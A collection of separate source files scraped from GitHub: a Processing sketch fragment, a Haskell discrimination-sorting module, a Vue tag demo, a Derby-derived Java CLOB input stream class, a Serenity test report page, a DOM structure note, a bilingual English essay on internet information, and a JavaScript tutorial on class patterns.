ortho(0, width, 0, height, 10, far)
translate(width / 2, height / 2, 0)
rotateX(-0.5 * THIRD_PI)
rotateY(THIRD_PI)
box(160)
def mousePressed():
global showPerspective
showPerspective = not showPerspective
| {
"pile_set_name": "Github"
} |
{-# LANGUAGE CPP #-}
{-# LANGUAGE MagicHash #-}
{-# LANGUAGE LambdaCase #-}
{-# LANGUAGE RankNTypes #-}
{-# LANGUAGE TypeOperators #-}
{-# LANGUAGE TupleSections #-}
{-# LANGUAGE RoleAnnotations #-}
{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE DefaultSignatures #-}
{-# LANGUAGE DeriveDataTypeable #-}
{-# LANGUAGE ScopedTypeVariables #-}
{-# LANGUAGE MonoLocalBinds #-}
{-# OPTIONS_GHC -fno-cse -fno-full-laziness #-}
module Data.Discrimination.Sorting
( Sort(..)
-- * Sorting
, Sorting(..)
, Sorting1(..)
-- * Combinators
-- $common
, sort, sortWith, desc
, sortingCompare
-- * Container Construction
, toMap
, toMapWith
, toMapWithKey
, toIntMap
, toIntMapWith
, toIntMapWithKey
, toSet
, toIntSet
-- * Internals
, sortingNat
, sortingBag
, sortingSet
) where
import Control.Applicative
import Control.Arrow
import Control.Monad
import Data.Bits
import Data.Discrimination.Grouping
import Data.Discrimination.Internal
import Data.Foldable as Foldable hiding (concat)
import Data.Functor.Compose
import Data.Functor.Contravariant
import Data.Functor.Contravariant.Divisible
import Data.Functor.Contravariant.Generic
import Data.Int
import Data.IntMap.Lazy as IntMap
import Data.IntSet as IntSet
import qualified Data.List as List
import Data.Map as Map
import Data.Proxy
import Data.Semigroup hiding (Any)
import Data.Set as Set
import Data.Typeable
import Data.Void
import Data.Word
import Numeric.Natural
import Prelude hiding (read, concat)
--------------------------------------------------------------------------------
-- * Common
--------------------------------------------------------------------------------
-- | Stable Ordered Discriminator
-- TODO: use [(a,b)] -> [NonEmpty b] to better indicate safety?
newtype Sort a = Sort { runSort :: forall b. [(a,b)] -> [[b]] }
deriving Typeable
mkSort :: (forall b. [(a, b)] -> [[b]]) -> Sort a
mkSort f = Sort $ \xs -> case xs of
[] -> []
[(_, v)] -> [[v]]
_ -> f xs
#ifndef HLINT
type role Sort representational
#endif
instance Contravariant Sort where
contramap f (Sort g) = Sort $ g . fmap (first f)
instance Divisible Sort where
conquer = mkSort $ return . fmap snd
divide k (Sort l) (Sort r) = Sort $ \xs ->
l [ (b, (c, d)) | (a,d) <- xs, let (b, c) = k a] >>= r
instance Decidable Sort where
lose k = Sort $ fmap (absurd.k.fst)
choose f (Sort l) (Sort r) = mkSort $ \xs -> let
ys = fmap (first f) xs
in l [ (k,v) | (Left k, v) <- ys]
++ r [ (k,v) | (Right k, v) <- ys]
instance Semigroup (Sort a) where
Sort l <> Sort r = Sort $ \xs -> l [ (fst x, x) | x <- xs ] >>= r
instance Monoid (Sort a) where
mempty = conquer
mappend = (<>)
--------------------------------------------------------------------------------
-- * Ordered Discrimination
--------------------------------------------------------------------------------
-- | 'Ord' equipped with a compatible stable, ordered discriminator.
class Grouping a => Sorting a where
-- | For every strictly monotone-increasing function @f@:
--
-- @
-- 'contramap' f 'sorting' ≡ 'sorting'
-- @
sorting :: Sort a
#ifndef HLINT
default sorting :: Deciding Sorting a => Sort a
sorting = deciding (Proxy :: Proxy Sorting) sorting
#endif
instance Sorting () where
sorting = conquer
instance Sorting Integer where
sorting = contramap word8s sorting
instance Sorting Natural where
sorting = contramap toInteger sorting
instance Sorting Word8 where
sorting = contramap fromIntegral (sortingNat 256)
instance Sorting Word16 where
sorting = contramap fromIntegral (sortingNat 65536)
instance Sorting Word32 where
sorting = Sort (runs <=< runSort (sortingNat 65536) . join . runSort (sortingNat 65536) . fmap radices) where
radices (x,b) = (fromIntegral x .&. 0xffff, (fromIntegral (unsafeShiftR x 16), (x,b)))
instance Sorting Word64 where
sorting = Sort (runs <=< runSort (sortingNat 65536) . join . runSort (sortingNat 65536) . join
. runSort (sortingNat 65536) . join . runSort (sortingNat 65536) . fmap radices)
where
radices (x,b) = (fromIntegral x .&. 0xffff, (fromIntegral (unsafeShiftR x 16) .&. 0xffff
, (fromIntegral (unsafeShiftR x 32) .&. 0xffff, (fromIntegral (unsafeShiftR x 48)
, (x,b)))))
instance Sorting Word where
sorting
| (maxBound :: Word) == 4294967295 = contramap (fromIntegral :: Word -> Word32) sorting
| otherwise = contramap (fromIntegral :: Word -> Word64) sorting
instance Sorting Int8 where
sorting = contramap (\x -> fromIntegral (x - minBound)) (sortingNat 256)
instance Sorting Int16 where
sorting = contramap (\x -> fromIntegral (x - minBound)) (sortingNat 65536)
instance Sorting Int32 where
sorting = contramap (\x -> fromIntegral (x - minBound) :: Word32) sorting
instance Sorting Int64 where
sorting = contramap (\x -> fromIntegral (x - minBound) :: Word64) sorting
instance Sorting Int where
sorting = contramap (\x -> fromIntegral (x - minBound) :: Word) sorting
instance Sorting Char where
sorting = Sort (runs <=< runSort (sortingNat 1087) . join . runSort (sortingNat 1024) . fmap radices) where
radices (c,b) = (x .&. 0x3ff, (unsafeShiftR x 10, (x,b))) where
x = fromEnum c
-- TODO: Integer and Natural?
instance Sorting Void
instance Sorting Bool
instance Sorting a => Sorting [a]
instance Sorting a => Sorting (Maybe a)
instance (Sorting a, Sorting b) => Sorting (Either a b)
instance (Sorting a, Sorting b) => Sorting (a, b)
instance (Sorting a, Sorting b, Sorting c) => Sorting (a, b, c)
instance (Sorting a, Sorting b, Sorting c, Sorting d) => Sorting (a, b, c, d)
instance (Sorting1 f, Sorting1 g, Sorting a) => Sorting (Compose f g a) where
sorting = getCompose `contramap` sorting1 (sorting1 sorting)
class Grouping1 f => Sorting1 f where
sorting1 :: Sort a -> Sort (f a)
#ifndef HLINT
default sorting1 :: Deciding1 Sorting f => Sort a -> Sort (f a)
sorting1 = deciding1 (Proxy :: Proxy Sorting) sorting
#endif
instance (Sorting1 f, Sorting1 g) => Sorting1 (Compose f g) where
sorting1 f = getCompose `contramap` sorting1 (sorting1 f)
instance Sorting1 []
instance Sorting1 Maybe
instance Sorting a => Sorting1 (Either a)
-- | Valid definition for 'compare' in terms of 'Sorting'.
sortingCompare :: Sorting a => a -> a -> Ordering
sortingCompare a b = case runSort sorting [(a,LT),(b,GT)] of
[r]:_ -> r
_ -> EQ
{-# INLINE sortingCompare #-}
--------------------------------------------------------------------------------
-- * Utilities
--------------------------------------------------------------------------------
sortingNat :: Int -> Sort Int
sortingNat n = mkSort $ \xs -> List.filter (not . List.null) (bdiscNat n upd xs) where
upd vs v = v : vs
{-# INLINE sortingNat #-}
--------------------------------------------------------------------------------
-- * Collections
--------------------------------------------------------------------------------
-- | Construct a stable ordered discriminator that sorts a list as multisets of elements from another stable ordered discriminator.
--
-- The resulting discriminator only cares about the set of keys and their multiplicity, and is sorted as if we'd
-- sorted each key in turn before comparing.
sortingBag :: Foldable f => Sort k -> Sort (f k)
sortingBag = sortingColl updateBag
-- | Construct a stable ordered discriminator that sorts a list as sets of elements from another stable ordered discriminator.
--
-- The resulting discriminator only cares about the set of keys, and is sorted as if we'd
-- sorted each key in turn before comparing.
sortingSet :: Foldable f => Sort k -> Sort (f k)
sortingSet = sortingColl updateSet
sortingColl :: Foldable f => ([Int] -> Int -> [Int]) -> Sort k -> Sort (f k)
sortingColl upd r = Sort $ \xss -> let
(kss, vs) = unzip xss
elemKeyNumAssocs = groupNum (Foldable.toList <$> kss)
keyNumBlocks = runSort r elemKeyNumAssocs
keyNumElemNumAssocs = groupNum keyNumBlocks
sigs = bdiscNat (length kss) upd keyNumElemNumAssocs
yss = zip sigs vs
in List.filter (not . List.null) $ sorting1 (sortingNat (length keyNumBlocks)) `runSort` yss
--------------------------------------------------------------------------------
-- * Combinators
--------------------------------------------------------------------------------
desc :: Sort a -> Sort a
desc (Sort l) = Sort (reverse . l)
-- $common
-- Useful combinators.
-- | / O(n)/. Sort a list using discrimination.
--
-- @
-- 'sort' = 'sortWith' 'id'
-- @
sort :: Sorting a => [a] -> [a]
sort as = List.concat $ runSort sorting [ (a,a) | a <- as ]
-- | /O(n)/. Sort a list with a Schwartzian transformation by using discrimination.
--
-- This linear time replacement for 'GHC.Exts.sortWith' and 'Data.List.sortOn' uses discrimination.
sortWith :: Sorting b => (a -> b) -> [a] -> [a]
sortWith f as = List.concat $ runSort sorting [ (f a, a) | a <- as ]
--------------------------------------------------------------------------------
-- * Containers
--------------------------------------------------------------------------------
-- | /O(n)/. Construct a 'Map'.
--
-- This is an asymptotically faster version of 'Data.Map.fromList', which exploits ordered discrimination.
--
-- >>> toMap [] == empty
-- True
--
-- >>> toMap [(5,"a"), (3 :: Int,"b"), (5, "c")]
-- fromList [(5,"c"), (3,"b")]
--
-- >>> toMap [(5,"c"), (3,"b"), (5 :: Int, "a")]
-- fromList [(5,"a"), (3,"b")]
toMap :: Sorting k => [(k, v)] -> Map k v
toMap kvs = Map.fromDistinctAscList $ last <$> runSort sorting [ (fst kv, kv) | kv <- kvs ]
-- | /O(n)/. Construct a 'Map', combining values.
--
-- This is an asymptotically faster version of 'Data.Map.fromListWith', which exploits ordered discrimination.
--
-- (Note: values combine in anti-stable order for compatibility with 'Data.Map.fromListWith')
--
-- >>> toMapWith (++) [(5,"a"), (5,"b"), (3,"b"), (3,"a"), (5 :: Int,"c")]
-- fromList [(3, "ab"), (5, "cba")]
--
-- >>> toMapWith (++) [] == empty
-- True
toMapWith :: Sorting k => (v -> v -> v) -> [(k, v)] -> Map k v
toMapWith f kvs0 = Map.fromDistinctAscList $ go <$> runSort sorting [ (fst kv, kv) | kv <- kvs0 ] where
go ((k,v):kvs) = (k, Prelude.foldl (flip (f . snd)) v kvs)
go [] = error "bad sort"
-- | /O(n)/. Construct a 'Map', combining values with access to the key.
--
-- This is an asymptotically faster version of 'Data.Map.fromListWithKey', which exploits ordered discrimination.
--
-- (Note: the values combine in anti-stable order for compatibility with 'Data.Map.fromListWithKey')
--
-- >>> let f key new_value old_value = show key ++ ":" ++ new_value ++ "|" ++ old_value
-- >>> toMapWithKey f [(5,"a"), (5,"b"), (3,"b"), (3,"a"), (5 :: Int,"c")]
-- fromList [(3, "3:a|b"), (5, "5:c|5:b|a")]
--
-- >>> toMapWithKey f [] == empty
-- True
toMapWithKey :: Sorting k => (k -> v -> v -> v) -> [(k, v)] -> Map k v
toMapWithKey f kvs0 = Map.fromDistinctAscList $ go <$> runSort sorting [ (fst kv, kv) | kv <- kvs0 ] where
go ((k,v):kvs) = (k, Prelude.foldl (flip (f k . snd)) v kvs)
go [] = error "bad sort"
-- | /O(n)/. Construct an 'IntMap'.
--
-- >>> toIntMap [] == empty
-- True
--
-- >>> toIntMap [(5,"a"), (3,"b"), (5, "c")]
-- fromList [(5,"c"), (3,"b")]
--
-- >>> toIntMap [(5,"c"), (3,"b"), (5, "a")]
-- fromList [(5,"a"), (3,"b")]
toIntMap :: [(Int, v)] -> IntMap v
toIntMap kvs = IntMap.fromDistinctAscList $ last <$> runSort sorting [ (fst kv, kv) | kv <- kvs ]
-- | /O(n)/. Construct an 'IntMap', combining values.
--
-- This is an asymptotically faster version of 'Data.IntMap.Lazy.fromListWith', which exploits ordered discrimination.
--
-- (Note: values combine in anti-stable order for compatibility with 'Data.IntMap.Lazy.fromListWith')
--
-- >>> toIntMapWith (++) [(5,"a"), (5,"b"), (3,"b"), (3,"a"), (5,"c")]
-- fromList [(3, "ab"), (5, "cba")]
--
-- >>> toIntMapWith (++) [] == empty
-- True
toIntMapWith :: (v -> v -> v) -> [(Int, v)] -> IntMap v
toIntMapWith f kvs0 = IntMap.fromDistinctAscList $ go <$> runSort sorting [ (fst kv, kv) | kv <- kvs0 ] where
go ((k,v):kvs) = (k, Prelude.foldl (flip (f . snd)) v kvs)
go [] = error "bad sort"
-- | /O(n)/. Construct a 'Map', combining values with access to the key.
--
-- This is an asymptotically faster version of 'Data.IntMap.Lazy.fromListWithKey', which exploits ordered discrimination.
--
-- (Note: the values combine in anti-stable order for compatibility with 'Data.IntMap.Lazy.fromListWithKey')
--
-- >>> let f key new_value old_value = show key ++ ":" ++ new_value ++ "|" ++ old_value
-- >>> toIntMapWithKey f [(5,"a"), (5,"b"), (3,"b"), (3,"a"), (5,"c")]
-- fromList [(3, "3:a|b"), (5, "5:c|5:b|a")]
--
-- >>> toIntMapWithKey f [] == empty
-- True
toIntMapWithKey :: (Int -> v -> v -> v) -> [(Int, v)] -> IntMap v
toIntMapWithKey f kvs0 = IntMap.fromDistinctAscList $ go <$> runSort sorting [ (fst kv, kv) | kv <- kvs0 ] where
go ((k,v):kvs) = (k, Prelude.foldl (flip (f k . snd)) v kvs)
go [] = error "bad sort"
-- | /O(n)/. Construct a 'Set' in linear time.
--
-- This is an asymptotically faster version of 'Data.Set.fromList', which exploits ordered discrimination.
toSet :: Sorting k => [k] -> Set k
toSet kvs = Set.fromDistinctAscList $ last <$> runSort sorting [ (kv, kv) | kv <- kvs ]
-- | /O(n)/. Construct an 'IntSet' in linear time.
--
-- This is an asymptotically faster version of 'Data.IntSet.fromList', which exploits ordered discrimination.
toIntSet :: [Int] -> IntSet
toIntSet kvs = IntSet.fromDistinctAscList $ last <$> runSort sorting [ (kv, kv) | kv <- kvs ]
| {
"pile_set_name": "Github"
} |
<template>
<div>
<m-tag>Basic</m-tag>
<m-tag selected>Selected</m-tag>
<m-tag disabled>Disabled</m-tag>
<m-tag closable>Closable</m-tag>
<m-tag closable
@close="close">Closable
</m-tag>
</div>
</template>
<script lang="ts">
import Vue from 'vue';
import Component from 'vue-class-component';
import Tag from '../../index';
Vue.use(Tag);
@Component({
name: 'Demo1'
})
export default class Demo1 extends Vue {
public close() {
this.$message.success('close');
}
}
</script>
<style scoped lang="less">
</style>
| {
"pile_set_name": "Github"
} |
/*
* Apache Derby is a subproject of the Apache DB project, and is licensed under
* the Apache License, Version 2.0 (the "License"); you may not use these files
* except in compliance with the License. You may obtain a copy of the License at:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed
* under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*
* Splice Machine, Inc. has modified this file.
*
* All Splice Machine modifications are Copyright 2012 - 2020 Splice Machine, Inc.,
* and are licensed to you under the License; you may not use this file except in
* compliance with the License.
*
* Unless required by applicable law or agreed to in writing, software distributed
* under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*
*/
package com.splicemachine.db.client.am;
import java.io.IOException;
import com.splicemachine.db.shared.common.sanity.SanityManager;
/**
* An <code>InputStream</code> that will use an locator to fetch the
* Clob value from the server.
* <p>
* Closing a <code>ByteArrayInputStream</code> has no effect. The methods in
* this class can be called after the stream has been closed without
* generating an <code>IOException</code>.
* <p>
* This <code>InputStream</code> implementation is pretty basic. No
* buffering of data is done. Hence, for efficieny #read(byte[])
* should be used instead of #read(). Marks are not supported, but it
* should be pretty simple to extend the implementation to support
* this. A more efficient skip implementation should also be
* straight-forward.
*/
public class ClobLocatorInputStream extends java.io.InputStream {
/**
* Connection used to read Clob from server.
*/
private final ClientConnection connection;
/**
* The Clob to be accessed.
*/
private final Clob clob;
/**
* Current position in the underlying Clob.
* Clobs are indexed from 1
*/
private long currentPos;
/**
* Create an <code>InputStream</code> for reading the
* <code>Clob</code> value represented by the given locator based
* <code>Clob</code> object.
* @param connection connection to be used to read the
* <code>Clob</code> value from the server
* @param clob <code>Clob</code> object that contains locator for
* the <code>Clob</code> value on the server.
*/
public ClobLocatorInputStream(ClientConnection connection, Clob clob)
throws SqlException{
if (SanityManager.DEBUG) {
SanityManager.ASSERT(clob.isLocator());
}
this.connection = connection;
this.clob = clob;
this.currentPos = 1;
}
/**
* Create an <code>InputStream</code> for reading the
* <code>Clob</code> value represented by the given locator based
* <code>Clob</code> object.
* @param connection connection to be used to read the
* <code>Clob</code> value from the server
* @param clob <code>Clob</code> object that contains locator for
* the <code>Clob</code> value on the server.
* @param pos the position inside the <code>Clob<code> from which
* the reading must begin.
*/
public ClobLocatorInputStream(ClientConnection connection, Clob clob, long pos)
throws SqlException{
this(connection, clob);
this.currentPos = pos;
}
/**
* @see java.io.InputStream#read()
*
* This method fetches one byte at a time from the server. For more
* efficient retrieval, use #read(byte[]).
*/
public int read() throws IOException {
byte[] bytes = readBytes(1);
if (bytes.length == 0) { // EOF
return -1;
} else {
// convert byte in range [-128,127] to int in range [0,255]
return bytes[0] & 0xff;
}
}
/**
* @see java.io.InputStream#read(byte[], int, int)
*/
public int read(byte[] b, int off, int len) throws IOException {
if (len == 0) return 0;
if ((off < 0) || (len < 0) || (len > b.length - off)) {
throw new IndexOutOfBoundsException();
}
byte[] bytes = readBytes(len);
if (bytes.length == 0) { // EOF
return -1;
} else {
System.arraycopy(bytes, 0, b, off, bytes.length);
return bytes.length;
}
}
/**
* Read the next <code>len</code> bytes of the <code>Clob</code>
* value from the server.
*
* @param len number of bytes to read
* @throws java.io.IOException Wrapped SqlException if reading
* from server fails.
* @return <code>byte[]</code> containing the read bytes
*/
private byte[] readBytes(int len) throws IOException {
try {
int actualLength
= (int )Math.min(len, clob.sqlLength() - currentPos + 1);
String resultStr = connection.locatorProcedureCall().
clobGetSubString(clob.getLocator(),
currentPos, actualLength);
byte[] result = getBytesFromString(resultStr);
currentPos += result.length;
return result;
} catch (SqlException ex) {
IOException ioEx = new IOException();
ioEx.initCause(ex);
throw ioEx;
}
}
/**
* Returns a <code>Byte</code> array from the
* <code>String</code> passed as Input.
*
* @param str the input <code>String</code>.
* @return The <code>Byte</code> corresponding
* to the <code>String</code> that was
* input.
*/
private byte[] getBytesFromString(String str) {
//The Byte array that will hold the final
//converted Byte array that will be returned
//to the user
byte[] result = new byte[str.length()];
//Iterate through the String to
//Convert each character in the
//String
for (int i = 1; i <= str.length(); i++) {
//charAt function accpets a index that
//starts from 0 and ranges to length()-1
char oneChar = str.charAt(i-1);
if (oneChar <= 0xff) {
//Check if the value is lesser
//than maximum value that can
//be stored in a byte. If it is
//lesser store it directly in the
//byte array
result[i-1] = (byte)oneChar;
}
else {
//The value is greater than the
//maximum value that can be
//stored. Use the value 0x003f
//which corresponds to '?'
//signifying an unknown character
result[i-1] = 0x3f;
}
}
return result;
}
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Home</title>
<link rel="shortcut icon" type="image/x-icon" href="favicon.ico">
<link rel="apple-touch-icon" sizes="57x57" href="apple-icon-57x57.png">
<link rel="apple-touch-icon" sizes="60x60" href="apple-icon-60x60.png">
<link rel="apple-touch-icon" sizes="72x72" href="apple-icon-72x72.png">
<link rel="apple-touch-icon" sizes="76x76" href="apple-icon-76x76.png">
<link rel="apple-touch-icon" sizes="114x114" href="apple-icon-114x114.png">
<link rel="apple-touch-icon" sizes="120x120" href="apple-icon-120x120.png">
<link rel="apple-touch-icon" sizes="144x144" href="apple-icon-144x144.png">
<link rel="apple-touch-icon" sizes="152x152" href="apple-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180" href="apple-icon-180x180.png">
<link rel="icon" type="image/png" sizes="192x192" href="android-icon-192x192.png">
<link rel="icon" type="image/png" sizes="32x32" href="favicon-32x32.png">
<link rel="icon" type="image/png" sizes="96x96" href="favicon-96x96.png">
<link rel="icon" type="image/png" sizes="16x16" href="favicon-16x16.png">
<meta name="msapplication-TileColor" content="#ffffff">
<meta name="msapplication-TileImage" content="/ms-icon-144x144.png">
<meta name="theme-color" content="#ffffff">
<link rel="stylesheet" href="font-awesome/css/font-awesome.min.css">
<!--[if IE 7]>
<link rel="stylesheet" href="font-awesome/css/font-awesome-ie7.min.css">
<![endif]--><!-- JQuery -->
<script type="text/javascript" src="scripts/jquery-1.11.1.min.js"></script><!-- Bootstrap -->
<link href="bootstrap/css/bootstrap.min.css" rel="stylesheet">
<script src="bootstrap/js/bootstrap.min.js"></script><link rel="stylesheet" href="css/core.css"/>
<link rel="stylesheet" href="css/link.css"/>
<link type="text/css" media="screen" href="css/screen.css" rel="Stylesheet"/><!-- JQuery-UI -->
<link type="text/css" href="jqueryui/1.11.2-start/jquery-ui.min.css" rel="Stylesheet" />
<script type="text/javascript" src="jqueryui/1.11.2-start/jquery-ui.min.js"></script><!-- DataTables -->
<link type="text/css" href="datatables/1.10.4/media/jqueryui/dataTables.jqueryui.css" rel="Stylesheet"/>
<link type="text/css" href="css/tables.css" rel="stylesheet" />
<script type="text/javascript" src="datatables/1.10.4/media/js/jquery.dataTables.min.js"></script>
<script type="text/javascript" src="datatables/1.10.4/media/jqueryui/dataTables.jqueryui.min.js"></script>
<script class="code" type="text/javascript">$(document).ready(function () {
// Results table
$('#tag-list-table').DataTable( {
"order": [
[ 1, "asc" ]
],
"pageLength": 25
} );
$("test-list").tabs();
});
</script>
</head>
<body>
<div id="topheader">
<div id="topbanner">
<div id="logo"><a href="index.html"><img src="images/serenity-logo.png" border="0"/></a></div>
<div id="projectname-banner" style="float:right">
<span class="projectname">Serenity and Cucumber Quick Start</span>
</div>
</div>
</div>
<div class="middlecontent">
<div id="contenttop">
<div class="middlebg">
<span class="breadcrumbs"><a href="index.html">Home</a>
<span class="truncate-60">Capabilities</span>
</span>
</div>
<div class="rightbg"></div>
</div>
<div class="clr"></div>
<!--/* starts second table*/-->
<div>
<ul class="nav nav-tabs" role="tablist">
<li class="active">
<a href="#"><i class="fa fa-check-square-o"></i> Overall Test Results</a>
</li>
<li >
<a href="capabilities.html"><i class="fa fa-book"></i> Requirements</a>
</li>
<li >
<a href="7ea0a5e2d679b9deeda9910ae4a9bcd3a281e0d908303a9e16e486103e98880c.html"><i class="fa fa-comments-o"></i> Capabilities</a>
</li>
<li >
<a href="576946480b52ad056d6f5bddf874399c83582ecf90963cc074a14c70580e7d9f.html"><i class="fa fa-comments-o"></i> Features</a>
</li>
</ul>
<span class="date-and-time"><a href="build-info.html"><i class="fa fa-info-circle"></i></a> Report generated 21-07-2018 16:53</span>
<br style="clear:left"/>
</div>
<div class="clr"></div>
<div id="beforetable"></div>
<div id="results-dashboard">
<div class="middlb">
<div class="table">
<table>
<tr>
<td>
<div id="test-list">
<ul>
<li><a href="test-list-1">Capabilities</a></li>
</ul>
</div>
<div id="test-list-1" class="table">
<div class="test-results">
<table id="tag-list-table">
<thead>
<tr>
<th width="30" class="test-results-heading"> </th>
<th width="750" class="test-results-heading">Capability</th>
<th width="70" class="test-results-heading">Tests</th>
<th width="70" class="test-results-heading">Steps</th>
<th width="65" class="test-results-heading">Duration</th>
</tr>
</thead>
<tbody>
<tr>
<td> </td>
<td><h3>Applications</h3></td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr class="test-SUCCESS">
<td><span class="summary-icon"/><i class='fa fa-check-square-o success-icon fa-2x' title='SUCCESS'></i></span><span style="display:none">SUCCESS</span></td>
<td class="SUCCESS-text"><a href="597737cdd73ab330526694557a497fe6a96714a45635cd50cada0b29988a2489.html">Applications</a></td>
<td class="lightgreentext">1</td>
<td class="lightgreentext">7</td>
<td class="lightgreentext">0.843</td>
</tr>
</tbody>
</table>
</div>
</div>
</td>
</tr>
</table>
</div>
</div>
</div>
</div>
</div>
<div id="beforefooter"></div>
<div id="bottomfooter"></div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
## DOM Structure [Back](./../HTML.md)
- **HTML**(Hypertext Markup Language) is displayed as **nodes** in **DOM**, and all these nodes has composed a **tree**, which is called the structure of DOM.
```html
<html>
<head>
<title>HTML DOM</title>
</head>
<body>
<h1>DOM的结构</h1>
<p><a href="href">链接</a></p>
</body>
</html>
```
- DOM Structure
<img src="./dom_tree.jpg">
| {
"pile_set_name": "Github"
} |
#84. Internet information: valuable or problematic?
The Internet is a great invention because it disseminates information freely. Freedom of information is in the interest of a country and its citizens, but, in light of the information anarchy on the Internet, people need to learn and understand how to evaluate and use the information they find at their fingertips.
The Internet promotes freedom of information and freedom of speech, which are integral part of a successful modern democratic society. With innumerable news sources at their disposal citizens have the opportunity to educate themselves, and this knowledge will allow them to contribute to the progression of their society. Similarly, the ability to consult different viewpoints, especially those diverging from their own, will allow people engage in meaningful dialogue with other citizens. The result of this continued discourse will be a more open minded and also tolerant society. As a vehicle of communication the Internet will connect people of the same interests and the same concerns. Thus connected citizens will be encouraged to work together and they will become active participants of society rather than passive subjects.
Critics of the Internet's free flow of information are concerned that people will fall victim to bad or rather incorrect information and act on it. This concern is warranted in so far that the Internet is intrinsically anarchic, and anybody with a computer can create Website and post information thereon. As a result, it can be very difficult to determine what information is correct or reliable and which is not. However, difficult as it may seem, there are ways that one can navigate the information jungle of the Internet and arrive at conclusions. In order to do so one has to learn to evaluate sources of information. For example, the Website of a research scientist at a major university or that of a well-known non-profit organization is a more reliable source of information than the personal Website of a senior school student.

> ### 译文
> **84. 网络信息:有价值还是带来问题?**
> 互联网是一项伟大的发明,因为它可以自由地传播信息。信息的自由有益于国家和其人民。但是,由于在互联网上信息的混乱性,人们需要学习和理解如何去评价和利用通过指尖的点击找到的信息。
> 互联网促进了信息自由和言论自由,二者是一个自由、现代、民主的社会的有机组成部分。拥有无数可供支配的信息资源,人们就有机会自学。与此同时,这些知识将会使人们为社会的进步做出贡献。同样,能够考虑不同的,尤其是与本身观点大相径庭的观点,会使人们致力于与他人进行有意义的沟通与对话。这些持续对话的结果必将使当今社会变得更加开放和包容。作为交流的工具,互联网将会使具有相同兴趣和爱好的人们相互建立联系,从而促进这些相互联系的人一起工作,而他们也会成为社会活动的主动参与者而不是被动的客体。
> 对于互联网自由信息流,批评家们认为,人们会沉溺于不好的或者是非常不正确的信息之中并且模仿之。这种忧虑是有道理的,因为当今的互联网在本质上来说是无政府主义的,任何一个拥有计算机并能连到互联网上的人都可以建立网站并在上面发布信息,而使辨别信息的正确与否变得很困难。然而,虽然看起来困难,人们总会有方法穿越互联网的信息丛林而到达彼岸。为此,人们必须学会如何辨识信息的来源。例如,相对一个高中学生的个人网站来说,一个主流大学科学家的网站或者一个著名的非营利组织的网站就是更可靠的信息来源。
### Word List
* disseminate [diˈseməˌneit] v. 散布;传播
* viewpoint [ˈvju:ˌpɔint] n. 观点,看法
* diverge from 与…
* (意见等)有分歧
* in light of 按照,根据
* tolerant [ˈta:lərənt] adj. 容忍的,宽恕的
* anarchy [ˈænəki] n. 无政府状态;政治混乱
* critics [ˈkritik] n. 批评
* victim [ˈviktim] n. 受害人,牺牲者
* fingertip [ˈfiŋgəˌtip] n. 指尖;指套
* warrant [ˈwɔ:rənt] v. 授权;证明
* democratic [ˌdeməˈkrætik] adj. 民主的;民主主义的
* intrinsic [inˈtrinzik] adj. 内在的,本质的
* anarchic [ænˈa:kik] adj. 无政府主义的
* innumerable [iˈnu:mərəbəl] adj. 无数的,数不清的
* Website [ˈwebˌsait] n. 网站
* navigate [ˈnæviˌgeit] v. 航行,航海
* disposal [diˈspəuzəl] n. 布置,安排
| {
"pile_set_name": "Github"
} |
# Class patterns
```quote author="Wikipedia"
In object-oriented programming, a *class* is an extensible program-code-template for creating objects, providing initial values for state (member variables) and implementations of behavior (member functions or methods).
```
There's a special syntax construct and a keyword `class` in JavaScript. But before studying it, we should consider that the term "class" comes the theory of object-oriented programming. The definition is cited above, and it's language-independant.
In JavaScript there are several well-known programming patterns to make classes even without using the `class` keyword. And here we'll talk about them first.
The `class` construct will be described in the next chapter, but in JavaScript it's a "syntax sugar" and an extension of one of the patterns that we'll study here.
[cut]
## Functional class pattern
The constructor function below can be considered a "class" according to the definition:
```js run
function User(name) {
this.sayHi = function() {
alert(name);
};
}
let user = new User("John");
user.sayHi(); // John
```
It follows all parts of the definition:
1. It is a "program-code-template" for creating objects (callable with `new`).
2. It provides initial values for the state (`name` from parameters).
3. It provides methods (`sayHi`).
This is called *functional class pattern*.
In the functional class pattern, local variables and nested functions inside `User`, that are not assigned to `this`, are visible from inside, but not accessible by the outer code.
So we can easily add internal functions and variables, like `calcAge()` here:
```js run
function User(name, birthday) {
*!*
// only visible from other methods inside User
function calcAge() {
return new Date().getFullYear() - birthday.getFullYear();
}
*/!*
this.sayHi = function() {
alert(name + ', age:' + calcAge());
};
}
let user = new User("John", new Date(2000,0,1));
user.sayHi(); // John
```
In this code variables `name`, `birthday` and the function `calcAge()` are internal, *private* to the object. They are only visible from inside of it.
From the other hand, `sayHi` is the external, *public* method. The external code that creates `user` can access it.
This way we can hide internal implementation details and helper methods from the outer code. Only what's assigned to `this` becomes visible outside.
## Factory class pattern
We can create a class without using `new` at all.
Like this:
```js run
function User(name, birthday) {
// only visible from other methods inside User
function calcAge() {
return new Date().getFullYear() - birthday.getFullYear();
}
return {
sayHi() {
alert(name + ', age:' + calcAge());
}
};
}
*!*
let user = User("John", new Date(2000,0,1));
*/!*
user.sayHi(); // John
```
As we can see, the function `User` returns an object with public properties and methods. The only benefit of this method is that we can omit `new`: write `let user = User(...)` instead of `let user = new User(...)`. In other aspects it's almost the same as the functional pattern.
## Prototype-based classes
Prototype-based classes is the most important and generally the best. Functional and factory class patterns are rarely used in practice.
Soon you'll see why.
Here's the same class rewritten using prototypes:
```js run
function User(name, birthday) {
*!*
this._name = name;
this._birthday = birthday;
*/!*
}
*!*
User.prototype._calcAge = function() {
*/!*
return new Date().getFullYear() - this._birthday.getFullYear();
};
User.prototype.sayHi = function() {
alert(this._name + ', age:' + this._calcAge());
};
let user = new User("John", new Date(2000,0,1));
user.sayHi(); // John
```
The code structure:
- The constructor `User` only initializes the current object state.
- Methods are added to `User.prototype`.
